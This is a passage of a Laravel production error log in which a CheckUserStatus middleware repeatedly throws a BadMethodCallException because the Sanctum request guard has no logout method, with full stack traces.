#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:17:44] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:17:58] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:18:01] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
